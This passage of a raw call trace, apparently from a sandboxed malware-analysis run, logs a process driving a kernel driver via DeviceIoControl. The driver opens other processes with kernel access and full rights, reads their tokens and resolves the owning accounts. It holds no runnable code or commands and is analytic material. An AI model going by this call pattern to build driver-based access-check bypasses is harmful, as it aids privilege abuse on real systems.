lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0094.515] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.515] PsAcquireProcessExitSynchronization () returned 0x0 [0094.515] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0) [0094.515] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0094.515] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.515] PsReleaseProcessExitSynchronization () returned 0x2 [0094.515] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0094.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.515] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0094.515] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.515] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.515] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.515] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.515] PsAcquireProcessExitSynchronization () returned 0x0 [0094.515] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880052335d0) [0094.515] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.515] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.516] PsReleaseProcessExitSynchronization () returned 0x2 [0094.516] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0094.516] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.516] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.516] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.516] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.516] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0094.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.516] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0094.516] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.516] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0094.516] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.516] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.516] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.516] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.516] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.517] CloseHandle (hObject=0xc8) returned 1 [0094.517] CloseHandle (hObject=0xc0) returned 1 [0094.517] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.518] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.518] PsAcquireProcessExitSynchronization () returned 0x0 [0094.518] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0) [0094.518] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0094.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.518] PsReleaseProcessExitSynchronization () returned 0x2 [0094.518] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0094.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.518] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0094.518] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.518] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.518] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0094.518] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.518] PsAcquireProcessExitSynchronization () returned 0x0 [0094.518] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0) [0094.518] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0094.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.518] PsReleaseProcessExitSynchronization () returned 0x2 [0094.518] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0094.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.518] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0094.518] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.518] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.518] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.518] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.518] PsAcquireProcessExitSynchronization () returned 0x0 [0094.518] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880052335d0) [0094.518] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.519] PsReleaseProcessExitSynchronization () returned 0x2 [0094.519] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0094.519] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.519] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.519] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.519] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.519] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0094.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.519] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0094.519] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.519] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0094.519] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.519] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.519] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.519] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.519] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.520] CloseHandle (hObject=0xc8) returned 1 [0094.520] CloseHandle (hObject=0xc0) returned 1 [0094.520] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.521] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.521] PsAcquireProcessExitSynchronization () returned 0x0 [0094.521] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0) [0094.521] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0094.521] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.521] PsReleaseProcessExitSynchronization () returned 0x2 [0094.521] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0094.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.521] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0094.521] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.521] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.521] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.521] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.521] PsAcquireProcessExitSynchronization () returned 0x0 [0094.521] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0) [0094.521] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0094.521] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.521] PsReleaseProcessExitSynchronization () returned 0x2 [0094.521] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0094.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.521] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0094.521] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.521] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.521] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.521] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.521] PsAcquireProcessExitSynchronization () returned 0x0 [0094.521] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880052335d0) [0094.522] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.522] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.522] PsReleaseProcessExitSynchronization () returned 0x2 [0094.522] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0094.522] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.522] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.522] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.522] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.522] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0094.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.522] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0094.522] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.522] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0094.522] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.522] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.522] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.522] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.522] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.523] CloseHandle (hObject=0xc8) returned 1 [0094.523] CloseHandle (hObject=0xc0) returned 1 [0094.523] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.524] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.524] PsAcquireProcessExitSynchronization () returned 0x0 [0094.524] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0) [0094.524] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0094.524] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.524] PsReleaseProcessExitSynchronization () returned 0x2 [0094.524] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0094.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.524] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0094.524] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.524] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.524] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0094.524] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.524] PsAcquireProcessExitSynchronization () returned 0x0 [0094.524] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0) [0094.524] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0094.524] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.524] PsReleaseProcessExitSynchronization () returned 0x2 [0094.524] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0094.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.524] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0094.524] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.524] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.524] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.524] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.524] PsAcquireProcessExitSynchronization () returned 0x0 [0094.524] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880052335d0) [0094.524] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.524] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.524] PsReleaseProcessExitSynchronization () returned 0x2 [0094.525] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0094.525] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.525] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.525] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.525] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.525] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0094.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.525] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0094.525] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.525] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0094.525] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.525] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.525] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.525] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, 